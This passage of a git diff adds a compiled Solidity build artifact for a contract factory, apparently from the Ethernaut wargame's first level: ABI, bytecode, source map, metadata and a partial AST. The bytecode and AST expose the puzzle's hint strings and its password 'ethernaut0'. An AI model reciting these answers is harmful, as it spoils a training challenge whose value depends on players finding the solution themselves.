"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":136} \ No newline at end of file diff --git a/contracts/out/InstanceFactory.sol/InstanceFactory.json b/contracts/out/InstanceFactory.sol/InstanceFactory.json new file mode 100644 index 000000000..408c6e567 --- /dev/null +++ b/contracts/out/InstanceFactory.sol/InstanceFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610da78061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610363565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610385565b610180565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610363565b6101ed565b610114610282565b61011d5f6102db565b565b5f60405161012c90610342565b6020808252600a908201527f65746865726e61757430000000000000000000000000000000000000000000006040820152606001604051809103905ff080158015610179573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b0316633c848d786040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e591906103bc565b949350505050565b6101f5610282565b6001600160a01b0381166102765760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61027f816102db565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161026d565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610996806103dc83390190565b6001600160a01b038116811461027f575f80fd5b5f60208284031215610373575f80fd5b813561037e8161034f565b9392505050565b5f8060408385031215610396575f80fd5b82356103a18161034f565b915060208301356103b18161034f565b809150509250929050565b5f602082840312156103cc575f80fd5b8151801515811461037e575f80fdfe6001805460ff1916602a17905560e0604052602160808181529061097560a03960029061002c908261010b565b506003805460ff19169055348015610042575f80fd5b50604051610996380380610996833981016040819052610061916101ca565b5f61006c828261010b565b505061028c565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061009b57607f821691505b6020821081036100b957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561010657805f5260205f20601f840160051c810160208510156100e45750805b601f840160051c820191505b81811015610103575f81556001016100f0565b50505b505050565b81516001600160401b0381111561012457610124610073565b610138816101328454610087565b846100bf565b602080601f83116001811461016b575f84156101545750858301515b5f19600386901b1c1916600185901b1785556101c2565b5f85815260208120601f198616915b828110156101995788860151825594840194600190910190840161017a565b50858210156101b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208083850312156101db575f80fd5b82516001600160401b03808211156101f1575f80fd5b818501915085601f830112610204575f80fd5b81518181111561021657610216610073565b604051601f8201601f19908116603f0116810190838211818310171561023e5761023e610073565b816040528281528886848701011115610255575f80fd5b5f93505b828410156102765784840186015181850187015292850192610259565b5f86848301015280965050505050505092915050565b6106dc806102995f395ff3fe608060405234801561000f575f80fd5b50600436106100b9575f3560e01c8063aa613b2911610072578063d4c3cf4411610058578063d4c3cf4414610148578063f0bc708114610150578063f157a1e314610158575f80fd5b8063aa613b2914610114578063c253aebe14610129575f80fd5b80632cbd79a5116100a25780632cbd79a5146100ee578063370158ea146100f65780633c848d78146100fe575f80fd5b80632133b6a9146100bd578063224b610b146100e6575b5f80fd5b6100d06100cb3660046103b9565b610160565b6040516100dd9190610486565b60405180910390f35b6100d0610229565b6100d06102b4565b6100d06102d4565b60035460ff1660405190151581526020016100dd565b6101276101223660046103b9565b6102f4565b005b6001546101369060ff1681565b60405160ff90911681526020016100dd565b6100d0610358565b6100d0610378565b6100d0610398565b6040517f68656c6c6f000000000000000000000000000000000000000000000000000000602082015260609060250160405160208183030381529060405280519060200120826040516020016101b691906104b8565b60405160208183030381529060405280519060200120036101f0576040518060800160405280604681526020016105fe6046913992915050565b505060408051808201909152601081527f57726f6e6720706172616d657465722e00000000000000000000000000000000602082015290565b5f8054610235906104d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610261906104d3565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b505050505081565b60606040518060600160405280602d815260200161067a602d9139905090565b60606040518060600160405280602781526020016105aa60279139905090565b5f604051602001610305919061050b565b604051602081830303815290604052805190602001208160405160200161032c91906104b8565b6040516020818303038152906040528051906020012003610355576003805460ff191660011790555b50565b60606040518060600160405280602d81526020016105d1602d9139905090565b606060405180606001604052806036815260200161064460369139905090565b60028054610235906104d3565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156103c9575f80fd5b813567ffffffffffffffff808211156103e0575f80fd5b818401915084601f8301126103f3575f80fd5b813581811115610405576104056103a5565b604051601f8201601f19908116603f0116810190838211818310171561042d5761042d6103a5565b81604052828152876020848701011115610445575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f5b8381101561047e578181015183820152602001610466565b50505f910152565b602081525f82518060208401526104a4816040850160208701610464565b601f01601f19169190910160400192915050565b5f82516104c9818460208701610464565b9190910192915050565b600181811c908216806104e757607f821691505b60208210810361050557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f8083545f60018260011c9150600183168061052857607f831692505b6020808410820361054757634e487b7160e01b5f52602260045260245ffd5b81801561055b57600181146105705761059b565b60ff198616895284151585028901965061059b565b5f8a8152602090205f5b868110156105935781548b82015290850190830161057a565b505084890196505b50949897505050505050505056fe596f752077696c6c2066696e64207768617420796f75206e65656420696e20696e666f3128292e54727920696e666f3228292c206275742077697468202268656c6c6f22206173206120706172616d657465722e5468652070726f706572747920696e666f4e756d20686f6c647320746865206e756d626572206f6620746865206e65787420696e666f206d6574686f6420746f2063616c6c2e496620796f75206b6e6f77207468652070617373776f72642c207375626d697420697420746f2061757468656e74696361746528292e7468654d6574686f644e616d6520697320746865206e616d65206f6620746865206e657874206d6574686f642ea2646970667358221220def25ef24f449bda312362d2fbd646567f63fbf85888a579677cbd4b6cb980ca64736f6c63430008180033546865206d6574686f64206e616d65206973206d6574686f64373132333934392ea2646970667358221220500e08f39306c5a17ff323ec7d015040e7c8907fbcf09e55d80ab0013713835864736f6c63430008180033","sourceMap":"111:424:90:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;111:424:90;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;111:424:90:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610363565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610385565b610180565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610363565b6101ed565b610114610282565b61011d5f6102db565b565b5f60405161012c90610342565b6020808252600a908201527f65746865726e61757430000000000000000000000000000000000000000000006040820152606001604051809103905ff080158015610179573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b0316633c848d786040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e591906103bc565b949350505050565b6101f5610282565b6001600160a01b0381166102765760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61027f816102db565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161026d565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610996806103dc83390190565b6001600160a01b038116811461027f575f80fd5b5f60208284031215610373575f80fd5b813561037e8161034f565b9392505050565b5f8060408385031215610396575f80fd5b82356103a18161034f565b915060208301356103b18161034f565b809150509250929050565b5f602082840312156103cc575f80fd5b8151801515811461037e575f80fdfe6001805460ff1916602a17905560e0604052602160808181529061097560a03960029061002c908261010b565b506003805460ff19169055348015610042575f80fd5b50604051610996380380610996833981016040819052610061916101ca565b5f61006c828261010b565b505061028c565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061009b57607f821691505b6020821081036100b957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561010657805f5260205f20601f840160051c810160208510156100e45750805b601f840160051c820191505b81811015610103575f81556001016100f0565b50505b505050565b81516001600160401b0381111561012457610124610073565b610138816101328454610087565b846100bf565b602080601f83116001811461016b575f84156101545750858301515b5f19600386901b1c1916600185901b1785556101c2565b5f85815260208120601f198616915b828110156101995788860151825594840194600190910190840161017a565b50858210156101b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208083850312156101db575f80fd5b82516001600160401b03808211156101f1575f80fd5b818501915085601f830112610204575f80fd5b81518181111561021657610216610073565b604051601f8201601f19908116603f0116810190838211818310171561023e5761023e610073565b816040528281528886848701011115610255575f80fd5b5f93505b828410156102765784840186015181850187015292850192610259565b5f86848301015280965050505050505092915050565b6106dc806102995f395ff3fe608060405234801561000f575f80fd5b50600436106100b9575f3560e01c8063aa613b2911610072578063d4c3cf4411610058578063d4c3cf4414610148578063f0bc708114610150578063f157a1e314610158575f80fd5b8063aa613b2914610114578063c253aebe14610129575f80fd5b80632cbd79a5116100a25780632cbd79a5146100ee578063370158ea146100f65780633c848d78146100fe575f80fd5b80632133b6a9146100bd578063224b610b146100e6575b5f80fd5b6100d06100cb3660046103b9565b610160565b6040516100dd9190610486565b60405180910390f35b6100d0610229565b6100d06102b4565b6100d06102d4565b60035460ff1660405190151581526020016100dd565b6101276101223660046103b9565b6102f4565b005b6001546101369060ff1681565b60405160ff90911681526020016100dd565b6100d0610358565b6100d0610378565b6100d0610398565b6040517f68656c6c6f000000000000000000000000000000000000000000000000000000602082015260609060250160405160208183030381529060405280519060200120826040516020016101b691906104b8565b60405160208183030381529060405280519060200120036101f0576040518060800160405280604681526020016105fe6046913992915050565b505060408051808201909152601081527f57726f6e6720706172616d657465722e00000000000000000000000000000000602082015290565b5f8054610235906104d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610261906104d3565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b505050505081565b60606040518060600160405280602d815260200161067a602d9139905090565b60606040518060600160405280602781526020016105aa60279139905090565b5f604051602001610305919061050b565b604051602081830303815290604052805190602001208160405160200161032c91906104b8565b6040516020818303038152906040528051906020012003610355576003805460ff191660011790555b50565b60606040518060600160405280602d81526020016105d1602d9139905090565b606060405180606001604052806036815260200161064460369139905090565b60028054610235906104d3565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156103c9575f80fd5b813567ffffffffffffffff808211156103e0575f80fd5b818401915084601f8301126103f3575f80fd5b813581811115610405576104056103a5565b604051601f8201601f19908116603f0116810190838211818310171561042d5761042d6103a5565b81604052828152876020848701011115610445575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f5b8381101561047e578181015183820152602001610466565b50505f910152565b602081525f82518060208401526104a4816040850160208701610464565b601f01601f19169190910160400192915050565b5f82516104c9818460208701610464565b9190910192915050565b600181811c908216806104e757607f821691505b60208210810361050557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f8083545f60018260011c9150600183168061052857607f831692505b6020808410820361054757634e487b7160e01b5f52602260045260245ffd5b81801561055b57600181146105705761059b565b60ff198616895284151585028901965061059b565b5f8a8152602090205f5b868110156105935781548b82015290850190830161057a565b505084890196505b50949897505050505050505056fe596f752077696c6c2066696e64207768617420796f75206e65656420696e20696e666f3128292e54727920696e666f3228292c206275742077697468202268656c6c6f22206173206120706172616d657465722e5468652070726f706572747920696e666f4e756d20686f6c647320746865206e756d626572206f6620746865206e65787420696e666f206d6574686f6420746f2063616c6c2e496620796f75206b6e6f77207468652070617373776f72642c207375626d697420697420746f2061757468656e74696361746528292e7468654d6574686f644e616d6520697320746865206e616d65206f6620746865206e657874206d6574686f642ea2646970667358221220def25ef24f449bda312362d2fbd646567f63fbf85888a579677cbd4b6cb980ca64736f6c63430008180033546865206d6574686f64206e616d65206973206d6574686f64373132333934392ea2646970667358221220500e08f39306c5a17ff323ec7d015040e7c8907fbcf09e55d80ab0013713835864736f6c63430008180033","sourceMap":"111:424:90:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;151:159:90;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;151:159:90;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;316:217:90;;;;;;;;;;-1:-1:-1;316:217:90;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;316:217:90;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;151:159:90:-;225:7;276:26;;;;;:::i;:::-;1451:2:155;1433:21;;;1490:2;1470:18;;;1463:30;1529:12;1524:2;1509:18;;1502:40;1574:2;1559:18;276:26:90;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;261:42:90;151:159;-1:-1:-1;;151:159:90:o;316:217::-;416:4;449:17;478:9;449:39;;505:8;-1:-1:-1;;;;;505:19:90;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;498:28;316:217;-1:-1:-1;;;;316:217:90:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;2072:2:155;2161:73:23::1;::::0;::::1;2054:21:155::0;2111:2;2091:18;;;2084:30;2150:34;2130:18;;;2123:62;2221:8;2201:18;;;2194:36;2247:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2479:2:155;1414:68:23;;;2461:21:155;;;2498:18;;;2491:30;2557:34;2537:18;;;2530:62;2609:18;;1414:68:23;2277:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1588:277::-;1655:6;1708:2;1696:9;1687:7;1683:23;1679:32;1676:52;;;1724:1;1721;1714:12;1676:52;1756:9;1750:16;1809:5;1802:13;1795:21;1788:5;1785:32;1775:60;;1831:1;1828;1821:12","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/InstanceFactory.sol\":\"InstanceFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Instance.sol\":{\"keccak256\":\"0xb6b0b01614d22cfc73537b5682d203d5f2bb91519c737cfe31db6242804d7564\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a0321e33e5dd1006c3a849eaade7ad139890c3cd40c50235b3efcc00817d522\",\"dweb:/ipfs/QmY2CyYnBjSYHsJqFuWABh78xQxagUa897iemGymtfq1yt\"]},\"src/levels/InstanceFactory.sol\":{\"keccak256\":\"0xf594b79983d1c79a193f2fea669631d7c92957c08aaeec411899ac013cb161fb\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b0dd1ff9574b4061faaca23a38bd4de7dd3f9016c4d7128202a5a1a7e542a647\",\"dweb:/ipfs/Qmc9Nzg386zPiuEnHfgUyQPHjSTWEL5aav6CoqREcpK2Ew\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/InstanceFactory.sol":"InstanceFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Instance.sol":{"keccak256":"0xb6b0b01614d22cfc73537b5682d203d5f2bb91519c737cfe31db6242804d7564","urls":["bzz-raw://3a0321e33e5dd1006c3a849eaade7ad139890c3cd40c50235b3efcc00817d522","dweb:/ipfs/QmY2CyYnBjSYHsJqFuWABh78xQxagUa897iemGymtfq1yt"],"license":"MIT"},"src/levels/InstanceFactory.sol":{"keccak256":"0xf594b79983d1c79a193f2fea669631d7c92957c08aaeec411899ac013cb161fb","urls":["bzz-raw://b0dd1ff9574b4061faaca23a38bd4de7dd3f9016c4d7128202a5a1a7e542a647","dweb:/ipfs/Qmc9Nzg386zPiuEnHfgUyQPHjSTWEL5aav6CoqREcpK2Ew"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/InstanceFactory.sol","id":53555,"exportedSymbols":{"Context":[48281],"Instance":[53503],"InstanceFactory":[53554],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:503:90","nodes":[{"id":53505,"nodeType":"PragmaDirective","src":"33:23:90","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53506,"nodeType":"ImportDirective","src":"58:26:90","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":53555,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":53507,"nodeType":"ImportDirective","src":"85:24:90","nodes":[],"absolutePath":"src/levels/Instance.sol","file":"./Instance.sol","nameLocation":"-1:-1:-1","scope":53555,"sourceUnit":53504,"symbolAliases":[],"unitAlias":""},{"id":53554,"nodeType":"ContractDefinition","src":"111:424:90","nodes":[{"id":53529,"nodeType":"FunctionDefinition","src":"151:159:90","nodes":[],"body":{"id":53528,"nodeType":"Block","src":"234:76:90","nodes":[],"statements":[{"expression":{"id":53517,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53511,"src":"244:7:90","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53518,"nodeType":"ExpressionStatement","src":"244:7:90"},{"expression":{"arguments":[{"arguments":[{"hexValue":"65746865726e61757430","id":53524,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"289:12:90","typeDescriptions":{"typeIdentifier":"t_stringliteral_023f3e8b8ccd3fc58c78dde68a9d3ff4748caab6826784c9a56c96a37039de24","typeString":"literal_string \"ethernaut0\""},"value":"ethernaut0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_023f3e8b8ccd3fc58c78dde68a9d3ff4748caab6826784c9a56c96a37039de24","typeString":"literal_string \"ethernaut0\""}],"id":53523,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"276:12:90","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_string_memory_ptr_$returns$_t_contract$_Instance_$53503_$","typeString":"function (string memory) returns (contract Instance)"},"typeName":{"id":53522,"nodeType":"UserDefinedTypeName","pathNode":{"id":53521,"name":"Instance","nameLocations":["280:8:90"],"nodeType":"IdentifierPath","referencedDeclaration":53503,"src":"280:8:90"},"referencedDeclaration":53503,"src":"280:8:90","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract 